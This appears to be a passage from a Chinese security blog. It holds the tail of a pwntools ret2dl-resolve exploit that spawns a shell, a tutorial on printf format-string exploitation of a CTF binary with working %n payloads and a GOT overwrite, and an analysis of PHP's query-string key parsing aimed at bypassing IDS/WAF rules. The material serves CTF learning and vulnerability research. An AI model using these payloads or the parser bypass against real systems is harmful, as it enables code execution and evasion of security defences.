#payload += p64(leave_ret) #ret
payload += p64(0x4011FB)

bin_sh_addr = buffer_area + 0x18 + 0x18 + 0x7

payload += p64(bin_sh_addr)
payload += p64(dl_addr)
payload += p64(libc_start_main_got_addr) #link_map_address
payload += p64(0)

payload += "M"*(0x200-len(payload))


#payload += p64(read_plt_addr)
#payload += p64(0)
#payload += p64(bss_addr)
#payload += p64(0x200)
#payload += p64(leave_ret)
#payload += "M"*(0x200-len(payload))
sh.send(payload)

rop = p64(0)
rop += p64(0x4011FB) # pop rdi;ret
rop += p64(bin_sh_addr)
rop += p64(dl_addr)

rop += p64(libc_start_main_got_addr) #link_map_address
rop += p64(0) # fake_rela_offset

strings = "system\x00/bin/sh\x00\x00"
payload = rop + fake_dyn +fake_link_map + fake_rela + fake_sym + strings
payload += "M"*(0x200-len(payload))
sh.send(payload)
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))


sh.interactive()

Screenshot%20from%202019-08-01%2001-27-24

在这里面其实fake_link_map这个没必要写,但是这段占用的空间不能去

为什么你写的时候就知道了,还一些细节在里面,如果大家有兴趣,或者不懂,或者有疑问的地方都可以问我。

不知道有多少人真正懂了ret2dl,说实话glibc的源码里面宏看的我头疼!!!

printf-of-pwn

关于printf格式化的输出的利用,分为两种读和写。把实践在这里总结一下。

根据例子具体学习一下,这个例子是elf32下的,和在elf64下有一点差异分开来说吧。

这是在ghidra下的反汇编,ghidra很好用,有想尝试的同学可以去试一下。

Screenshot%20from%202019-07-20%2000-24-53

逻辑上很简单,secret是一个全局变量,在.bss里面没有初始化,在看一下give_shell的定义

Screenshot%20from%202019-07-20%2014-13-15 give_shell应该相当于一个one_gadget,所以这里的基本第一思路是让secert == 0x539成立。跳转到give_shell上。 这里也可以再看一下checksec,

Screenshot%20from%202019-07-20%2014-17-19

就开了一个NX,在这里并没有影响,跟着思路走,我们需要把secert的覆盖成0x539,那么需要首先拿到secert的地址,在进行写。这里普及下用printf写的过程。

在printf输出格式里面有一个 n$,可以去指定输出参数。例如%5$d,会把printf中的format后面第5个参数以整形的格式输出。printf接受 的是不定参数,参数在栈上按顺序依次取,所以在这里是可以来泄露栈上数据的,那么如何用printf来写呢%n这个输出格式化用来记录前面有多少位的输出,如何写到后面对应参数里面,所以这里我们可以通过%n$n进行任意地址写东西。(前面那个n是指的第几个参数,别弄混)。

这里第一步我们需要找到secert的地址,去看看printf对应的参数栈上有没有我们需要的secert的地址,在ghidra里面找到secert的地址是0804a028,可以直接去.bss节里去看。 接着拿gdb打印一下printf的参数栈 printf的参数栈,这里停到call print@plt这一步,看栈的分布,第一个是format的地址,从第二个开始。参数栈分布如下。

Screenshot%20from%202019-07-20%2014-45-02

可以找到,刚好有我们需要的0x0804a028,并且处于第七个参数的位置。可以看到这里参数栈的分布是连续的,这是在elf32下printf的特点,后面引申一下elf64下的printf的特点。

所以这里已经可以开始构造了,其实payload也很简单%1337x%7$n,注意一下main里面是通过参数项获取的输入的,所以这里 ./printf_pwn12 `echo -e '%1337x%7$n'` 便可以转到shell上。

Screenshot%20from%202019-07-20%2014-54-38

到这里其实已经结束了,但是想搞一些花的,咱们一步一步来。假设secert地址不在栈原本上咋办呢?,这里我们得先把地址写到栈上,然后再用。首先我们要确定通过参数项传入我们的输入在栈上的什么位置。这里先定位一下输入的字符位置在哪。

停到push eax即format入栈的地方,所以这个eax包含就是format字符串的位置,如图:

Screenshot%20from%202019-07-20%2015-03-23

我指定的参数项是aaaaaaaaaaaaaaaaa,这里eax也指向他的位置为0xffffd44a,这里需要需要细节主要一下,你如果细心的话会发现这个这个字符串的起始地址,并没有和栈对齐,它的栈的地址的尾数是a,并不是4的倍数,所以这个字符串并不在printf参数项里面,而且具体的位置是随着这个字符串的大小变的。如果我们想用这个字符串,必须让他在栈上对齐。

这里有一个小方法,我们依次指定输入为 aaaaaaaaaaaaaaa....看它什么时候是对齐的。这里并没有从一个a开始,因为4位以上肯定能覆盖一个单元。这里当输入6个a时aaaaaa刚好对齐,所有输入的规律应该为 'aaaaaa'+n*4即后面的数据以4的倍数增长,所以需要根据后面输入情况padding。

这里我们假设的是参数栈上没有secert的地址,所以这里我们要先构造一个secert的地址,然后在用这个构造的secert的地址写。 第一步构造

1
2
'\x28\xa0\x04\x08'+'%1333x'+'%100$n'+'aaaaaa'
--secert-address---1337-4-------- -padding---
注意一下padding放在的最后,前面好解,后面这个100是怎么来的,根据前面我们得到format的地址0xffffd44a,和printf,第一个参数的地址0xffffd1a4,大概计算一下大概相差170个参数,具体参数偏移需要运行时来确定,所以这里100想当一个占位符,'%1326x'+'%100$n'这里刚好是12个字符不需要padding。

第二步,找'\x28\xa0\x04\x08'是第几个参数。 还是停在最后一个push eax之前, Screenshot%20from%202019-07-20%2015-54-22

可以看到eax为0xffffd444正确的指向了我们的输入。此时的esp是刚好执行第一个参数的,所以简单计算,\x28\xa0\x04\x08应该是第173个参数。接下来我们验证一下对不对,如图成功进入shell。 Screenshot%20from%202019-07-20%2016-09-27

再进一步来点花的,有没有办法,不修改secert的值也能进入shell呢?如果第一个printf的时候,把got.plt表里puts地址成give_shell怎么样呢?在调用puts的时候直接进入give_shell,其实这里是不行的,回过头看一下get_shell里面的第一行,又一次调用了puts,这样会造成死循环。虽然本题不行,但是我们还是来说一下怎么修改got.plt

我先可以来一下程序是怎样去调用一个函数的,直接看main函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
gef➤  disas main
Dump of assembler code for function main:
...
0x080484d5 <+65>: sub esp,0xc
0x080484d8 <+68>: push 0x8048590
0x080484dd <+73>: call 0x8048330 <puts@plt>
0x080484e2 <+78>: add esp,0x10
0x080484e5 <+81>: mov eax,0x0
0x080484ea <+86>: mov ecx,DWORD PTR [ebp-0x4]
0x080484ed <+89>: leave
0x080484ee <+90>: lea esp,[ecx-0x4]
0x080484f1 <+93>: ret
End of assembler dump.
看一下调用puts的过程。首先是call 0x8048330,这个0x8048330其实是puts在plt表上的位置。再去看一下0x8048330是进行的什么过程
1
2
3
4
5
6
gef➤  disas 0x8048330
Dump of assembler code for function puts@plt:
0x08048330 <+0>: jmp DWORD PTR ds:0x804a010
0x08048336 <+6>: push 0x8
0x0804833b <+11>: jmp 0x8048310
End of assembler dump.
第一步是jmp DWORD PTR ds:0x804a010相当于jmp DWORD PTR 0x804a010,跟着0x804a010你会发现这个地方存储是0x08048336,即下一条指令push 0x8的地址,这是plt的机制,第一次调用函数时,会跳到plt[0],通过动态链接,并patch got.plt表相应函数的真实地址。具体plt和got知识在这里就介绍都这里。
1
2
gef➤  x/1x 0x804a010
0x804a010 <[email protected]>: 0x08048336
所以这里知道了在调用puts的时候,回调到0x804a010这个地址存储的具体地址下,如果我们把0x804a010这里地址里面存储的地址换成give_shell不就行了。所以我们的目标是对0x804a010写入give_shell的地址0x804846b.这个写入的数据比较大,不像前面的1337,这里需要分割一下,分割也是有策略。依次从低位写到高位,不能从高位开始写,并且保证写的数据大小也是从小到大。
1
0x804846b =>  0x804 0x84 0x46
第一眼这里可以分成一个2字节和两个1字节。而且数据大小也是从下到大,pwntool也有专门分割函数,但是需要自己padding一下,保证对齐,并指定首参数的偏移量。这里完整叙述一下手工怎么拼。

上面分为了3 个部分,首先根据要写入的地址0x804a010列出这三个地址,从小到大分别为0x804a0100x804a0110x804a012,接着直接拼接:

1
'\x10\xa0\x04\x08'+'\x11\xa0\x04\x08'+'\x12\xa0\x04\x08'+'%95x%173$hhn%25x%174$hhn%1920x%175$nAAAAAA'
从前面知道format的偏移是173,这是相对的,所以不会改变。这里看见我用了两个%hhn%hhn换成%n也没事,这是只是为了保证AAAAAA`前面字符串长度是4的倍数。接着我们可以在gdb下试一下,看看调用puts是否跳转到了give_shell上。 Screenshot%20from%202019-07-20%2017-21-59

可以看到got表上的位置确实变成了give_shell的位置0x0804846b,可以继续执行一下看看 Screenshot%20from%202019-07-20%2017-23-18

上面都是elf32 下的printf,在elf64的printf有点不一样,关于参数的寻址是不一样的。去看看printf的具体的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gef➤  disas printf
Dump of assembler code for function __printf:
=> 0x00007ffff7e40560 <+0>: sub rsp,0xd8
0x00007ffff7e40567 <+7>: mov QWORD PTR [rsp+0x28],rsi #格式化参数1
0x00007ffff7e4056c <+12>: mov QWORD PTR [rsp+0x30],rdx #格式化参数2
0x00007ffff7e40571 <+17>: mov QWORD PTR [rsp+0x38],rcx #格式化参数3
0x00007ffff7e40576 <+22>: mov QWORD PTR [rsp+0x40],r8 #格式化参数4
0x00007ffff7e4057b <+27>: mov QWORD PTR [rsp+0x48],r9 #格式化参数5
0x00007ffff7e40580 <+32>: test al,al //判断浮点数的个数
0x00007ffff7e40582 <+34>: je 0x7ffff7e405bb <__printf+91>
0x00007ffff7e40584 <+36>: movaps XMMWORD PTR [rsp+0x50],xmm0 |
0x00007ffff7e40589 <+41>: movaps XMMWORD PTR [rsp+0x60],xmm1 |
0x00007ffff7e4058e <+46>: movaps XMMWORD PTR [rsp+0x70],xmm2 |
0x00007ffff7e40593 <+51>: movaps XMMWORD PTR [rsp+0x80],xmm3 |
0x00007ffff7e4059b <+59>: movaps XMMWORD PTR [rsp+0x90],xmm4 |
0x00007ffff7e405a3 <+67>: movaps XMMWORD PTR [rsp+0xa0],xmm5 |
0x00007ffff7e405ab <+75>: movaps XMMWORD PTR [rsp+0xb0],xmm6 |
0x00007ffff7e405b3 <+83>: movaps XMMWORD PTR [rsp+0xc0],xmm7 |
0x00007ffff7e405bb <+91>: mov rax,QWORD PTR fs:0x28
0x00007ffff7e405c4 <+100>: mov QWORD PTR [rsp+0x18],rax
0x00007ffff7e405c9 <+105>: xor eax,eax
0x00007ffff7e405cb <+107>: lea rax,[rsp+0xe0]
0x00007ffff7e405d3 <+115>: mov rsi,rdi
0x00007ffff7e405d6 <+118>: mov rdx,rsp
0x00007ffff7e405d9 <+121>: mov QWORD PTR [rsp+0x8],rax
0x00007ffff7e405de <+126>: lea rax,[rsp+0x20]
0x00007ffff7e405e3 <+131>: mov QWORD PTR [rsp+0x10],rax
0x00007ffff7e405e8 <+136>: mov rax,QWORD PTR [rip+0x162959] # 0x7ffff7fa2f48
0x00007ffff7e405ef <+143>: mov DWORD PTR [rsp],0x8
0x00007ffff7e405f6 <+150>: mov rdi,QWORD PTR [rax]
0x00007ffff7e405f9 <+153>: mov DWORD PTR [rsp+0x4],0x30
0x00007ffff7e40601 <+161>: call 0x7ffff7e379f0 <_IO_vfprintf_internal>

在elf64中函数传参用前六个参数用传参rdirsiraxrcxr8r9,如果多余的就用在call printf之前push到栈里,这里也可以看到,参数栈也不是连续的,同时也保存了xmm寄存器的状态。所以在计算参数偏移的时候,偏移量应该是5+(目的地址- ret)/8,这里需要注意一下。

PHP内核之请求参数解析

0x00 前言

前些日子看见了关于用php在处理请求的查询参数特殊性来绕过相关IDS,IPS检测一文https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/。确实在我看来确实可以绕过很多特殊的规则。原文只是展示了结果,我想看看为什么php内部要这么处理,这么做的意义在哪?一开始我确实不明白,因为例如GET参数,最终会写入$_GET[]这个全局的数组里面,数组在PHP就是HashTable,在我印象里面需要对里面的key特殊处理吗?当时十分不解,遂有了下文。

0x01 调用链

在探究这个问题之前,先简单的想一下,整个处理流程。先得拿到查询语句,在进行分割,有点同学说可以直接看parse_str处理过程不就行了?这里我尽量模拟真实的请求过程,说到这个问题,让我想起了p牛曾经提到的一个问题,在php-cli下怎么传$_GET$_POST参数?因为时间问题,最后也没有深究,但是肯定是可以的,因为$_GlOBAL里面是定义了这两个变量的。回归正题,处理请求之前,我们得先确定用什么sapi吧,常见的cli,apache2Handler,cgi,fastcgi等等。这里sapi选择一下较为常见php_mod的情况下apache2handler

php被编译成了apache扩展形式,当php_mod加载时,每一个请求的apache_hook_handler就多了一个的php_handler,如下

1
ap_hook_handler(php_handler, NULL, NULL, APR_HOOK_MIDDLE);
我们更关注的是SG(request_info)的初始化,不同的sapi其中一个不同之处就在于这个地方,里面有随后我们的需要的SG(request_info).query_string,这个过程发生在php_apache_request_ctor()中,当初始化完成,apache将控制权交给了php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int php_request_startup(void)
{
int retval = SUCCESS;

zend_interned_strings_activate();
....
zend_try {
PG(in_error_log) = 0;
PG(during_request_startup) = 1;

php_output_activate();

/* initialize global variables */
PG(modules_activated) = 0;
PG(header_is_being_sent) = 0;
PG(connection_status) = PHP_CONNECTION_NORMAL;
PG(in_user_include) = 0;

zend_activate();
sapi_activate();
...
php_hash_environment();
zend_activate_modules();
PG(modules_activated)=1;
} zend_catch {
retval = FAILURE;
} zend_end_try();

SG(sapi_started) = 1;
return retval;
}
这里注意php_hash_environment() 这个函数就是用来初始化每个请求的相关全局变量的函数,跟一下。
1
2
3
4
5
6
7
PHPAPI int php_hash_environment(void)
{
memset(PG(http_globals), 0, sizeof(PG(http_globals)));
zend_activate_auto_globals();
...
return SUCCESS;
}
继续跟进一下zend_activate_auto_globals()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ZEND_API void zend_activate_auto_globals(void) /* {{{ */
{
zend_auto_global *auto_global;

ZEND_HASH_FOREACH_PTR(CG(auto_globals), auto_global) {
if (auto_global->jit) {
auto_global->armed = 1;
} else if (auto_global->auto_global_callback) {
auto_global->armed = auto_global->auto_global_callback(auto_global->name);
} else {
auto_global->armed = 0;
}
} ZEND_HASH_FOREACH_END();
}
可能一些同学看到这里会有一点小疑惑,不懂是什么意思,这里涉及到超全局变量相关结构。
1
2
3
4
5
6
typedef struct _zend_auto_global {
zend_string *name; //超全局变量的变量名
zend_auto_global_callback auto_global_callback;//处理超全局变量的handler
zend_bool jit;
zend_bool armed;
} zend_auto_global;
CG(auto_globals)是一个存储zend_auto_globalHashTable,所以这里我们必须先得找到GET,POST等待超全局变量的注册地方。

在apache中注册php_handler的地方还有一个ap_hook_post_config(php_apache_server_startup, NULL, NULL, APR_HOOK_MIDDLE);,其中的调用链如下:

1
php_apache_server_startup()  -> apache2_sapi_module.startup -> php_module_startup -> php_startup_auto_globals
这里需要同学们好好理解一下整个php的生命周期。很容易就找到php_startup_auto_globals
1
2
3
4
5
6
7
8
9
10
void php_startup_auto_globals(void)
{
zend_register_auto_global(zend_string_init_interned("_GET", sizeof("_GET")-1, 1), 0, php_auto_globals_create_get);
zend_register_auto_global(zend_string_init_interned("_POST", sizeof("_POST")-1, 1), 0, php_auto_globals_create_post);
zend_register_auto_global(zend_string_init_interned("_COOKIE", sizeof("_COOKIE")-1, 1), 0, php_auto_globals_create_cookie);
zend_register_auto_global(zend_string_init_interned("_SERVER", sizeof("_SERVER")-1, 1), PG(auto_globals_jit), php_auto_globals_create_server);
zend_register_auto_global(zend_string_init_interned("_ENV", sizeof("_ENV")-1, 1), PG(auto_globals_jit), php_auto_globals_create_env);
zend_register_auto_global(zend_string_init_interned("_REQUEST", sizeof("_REQUEST")-1, 1), PG(auto_globals_jit), php_auto_globals_create_request);
zend_register_auto_global(zend_string_init_interned("_FILES", sizeof("_FILES")-1, 1), 0, php_auto_globals_create_files);
}
这里注册了所有超全局变量的处理的handler,回到上一步,
1
auto_global->armed = auto_global->auto_global_callback(auto_global->name);
通过遍历CG(auto_global)这个HashTable,然后分别调用相关的handler依次处理,这里我们看处理_GEThandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static zend_bool php_auto_globals_create_get(zend_string *name)
{
if (PG(variables_order) && (strchr(PG(variables_order),'G') || strchr(PG(variables_order),'g'))) {
sapi_module.treat_data(PARSE_GET, NULL, NULL);
} else {
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_GET]);
array_init(&PG(http_globals)[TRACK_VARS_GET]);
}

zend_hash_update(&EG(symbol_table), name, &PG(http_globals)[TRACK_VARS_GET]);
Z_ADDREF(PG(http_globals)[TRACK_VARS_GET]);

return 0; /* don't rearm */
}

这里的variables_order是一个ini配置项,指定是否解析相关变量,默认是解析所有超全局变量。这里我们重点看sapi_module.treat_data,看看apache_sapi相对应的处理函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static sapi_module_struct apache2_sapi_module = {
"apache2handler",
"Apache 2.0 Handler",
php_apache2_startup, /* startup */
php_module_shutdown_wrapper, /* shutdown */
NULL, /* activate */
NULL, /* deactivate */
php_apache_sapi_ub_write, /* unbuffered write */
php_apache_sapi_flush, /* flush */
php_apache_sapi_get_stat, /* get uid */
php_apache_sapi_getenv, /* getenv */
php_error, /* error handler */
php_apache_sapi_header_handler, /* header handler */
php_apache_sapi_send_headers, /* send headers handler */
NULL, /* send header handler */
php_apache_sapi_read_post, /* read POST data */
php_apache_sapi_read_cookies, /* read Cookies */
php_apache_sapi_register_variables,
php_apache_sapi_log_message, /* Log message */
php_apache_sapi_get_request_time, /* Request Time */
NULL, /* Child Terminate */
STANDARD_SAPI_MODULE_PROPERTIES
};
treat_dataSTANDARD_SAPI_MODULE_PROPERTIES里面,所以这里我们继续看STANDARD_SAPI_MODULE_PROPERTIES的定义。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define STANDARD_SAPI_MODULE_PROPERTIES \
NULL, /* php_ini_path_override */ \
NULL, /* default_post_reader */ \
NULL, /* treat_data */ \
NULL, /* executable_location */ \
0, /* php_ini_ignore */ \
0, /* php_ini_ignore_cwd */ \
NULL, /* get_fd */ \
NULL, /* force_http_10 */ \
NULL, /* get_target_uid */ \
NULL, /* get_target_gid */ \
NULL, /* input_filter */ \
NULL, /* ini_defaults */ \
0, /* phpinfo_as_text; */ \
NULL, /* ini_entries; */ \
NULL, /* additional_functions */ \
NULL /* input_filter_init */
这里有同学可能又要疑惑了,这里是NULL啊,这里需要回到php_module_startup里面,在php_startup_auto_globals()调用结束后面有一个php_startup_sapi_content_types()的调用过程。这里会注册默认的treat_data给当前的sapi_module
1
2
3
4
5
6
7
int php_startup_sapi_content_types(void)
{
sapi_register_default_post_reader(php_default_post_reader);
sapi_register_treat_data(php_default_treat_data);
sapi_register_input_filter(php_default_input_filter, NULL);
return SUCCESS;
}

0x02 Query具体处理过程

这里看一下默认的treat_data是如何处理的,这个处理函数有点长,我稍微处理压缩一下分支处理,因为这里只关注处理_GET的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
SAPI_API SAPI_TREAT_DATA_FUNC(php_default_treat_data)
{
char *res = NULL, *var, *val, *separator = NULL;
const char *c_var;
zval array;
int free_buffer = 0;
char *strtok_buf = NULL;
zend_long count = 0;
ZVAL_UNDEF(&array);
switch (arg) {
case PARSE_POST:
case PARSE_GET:
case PARSE_COOKIE:
array_init(&array);
switch (arg) {
...
case PARSE_GET:
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_GET]); //初始化array
ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_GET], &array);
break;
...
}
break;
}
if (arg == PARSE_GET) { /* GET data */
c_var = SG(request_info).query_string; //取请求中的查询参数即?后的部分
if (c_var && *c_var) {
res = (char *) estrdup(c_var);
free_buffer = 1;
} else {
free_buffer = 0;
}
}
...
switch (arg) {
case PARSE_GET:
case PARSE_STRING:
separator = PG(arg_separator).input; // 参数对分割符,这里默认是“&”
break;
}
var = php_strtok_r(res, separator, &strtok_buf);//就是strtok分割函数,依次将&置\0,返回分割的token
while (var) {
val = strchr(var, '='); // 取=字符的位置
...

if (val) { /* have a value */
size_t val_len;
size_t new_val_len;

*val++ = '\0';
php_url_decode(var, strlen(var)); //key urldecode
val_len = php_url_decode(val, strlen(val));//value urldecode
val = estrndup(val, val_len);
if (sapi_module.input_filter(arg, var, &val, val_len, &new_val_len)) {
php_register_variable_safe(var, val, new_val_len, &array);//进入真正注册变量的位置
}
efree(val);
}
...
}
...
}
接着看php_register_variable_safe过程,这里其实进入的是php_register_variable_ex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PHPAPI void php_register_variable_ex(char *var_name, zval *val, zval *track_vars_array){
...
while (*var_name==' ') {
var_name++;
}/*去掉参数对中key前面的空格*/

var_len = strlen(var_name);
var = var_orig = do_alloca(var_len + 1, use_heap);
memcpy(var_orig, var_name, var_len + 1);

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') {
*p='_';
} else if (*p == '[') {
is_array = 1;
ip = p;
*p = 0;
break;
}
}/*将key中出现空格和点都替换成了下划线*/
...
if (is_array) {
...
while (1) {
...
ip++;
index_s = ip;
if (isspace(*ip)) {
ip++;
}
if (*ip==']') {
index_s = NULL;
} else {
ip = strchr(ip, ']');
if (!ip) {
*(index_s - 1) = '_';
....

} //这里是匹配参数key是数组的形式,如果[]不匹配,则会把先前的[的重新置为下划线。
....
此处就是本文最重点的地方,可以看到key=value,当key前面有空格,先去掉空格,如果key中包含空格和点,不匹配的方括号,都会变为_,还有关于前面引文中出现的%00问题,在urldecode的时候就引入\0,后在计算index的时候就被截断了。
1
2
3
if (index) {
index_len = strlen(index);
}
关于替换这一步官方有一句注释
1
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
非二进制安全,为什么这里是非二进制安全呢?导致二进制安全出问题地方,可能在于截断或者对特殊字符的解析问题,通过查了相关资料,这里是为了应对register_globals,保证变量名不会因为非法字符而导致注册失败。但是register_globals在5.4.0就被遗弃了,为什么我这里PHP 7.4.0alpha3,依然存在呢?有点意思。

随后我想到了extract它的功能和register_globals 差不多相似,都是用来注册变量。但是extract里面对变量名有严格的检验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static zend_always_inline int php_valid_var_name(const char *var_name, size_t var_name_len) /* {{{ */
{
if (var_name[0] != '_' &&
(ch < 65 /* A */ || /* Z */ ch > 90) &&
(ch < 97 /* a */ || /* z */ ch > 122) &&
(ch < 127 /* 0x7f */ || /* 0xff */ ch > 255)
) {
return 0
} //开头字母 [a-zA-Z_\x7f-\xff]
...
do {
if (var_name[i] != '_' &&
(ch < 48 /* 0 */ || /* 9 */ ch > 57) &&
(ch < 65 /* A */ || /* Z */ ch > 90) &&
(ch < 97 /* a */ || /* z */ ch > 122) &&
(ch < 127 /* 0x7f */ || /* 0xff */ ch > 255)
) {

return 0;
}
} while (++i < var_name_len); // [a-zA-Z0-9_\x7f-\xff]
是否官方会考虑到很多应用可能会出现 extract($_GET)这样的情况,但这里有一个比较有意思的情况。如果请求参数是下面这种情况
1
maple[ . [=amazing  =>  maple_ .[=amazing
这样会绕过上面的替换过程,因为遇到[,就会直接退出当前循环,以导致后面的数据不会被处理,这里同样引进了空格和点,我不懂这里依然做替换的意义是什么?为什么其他特殊字符并没有替换?看起来确实比较混乱,才导致了bypass,这可能是php的一个历史遗留问题至今也没有解决。希望php官方能给出一个比较合理的解决方式。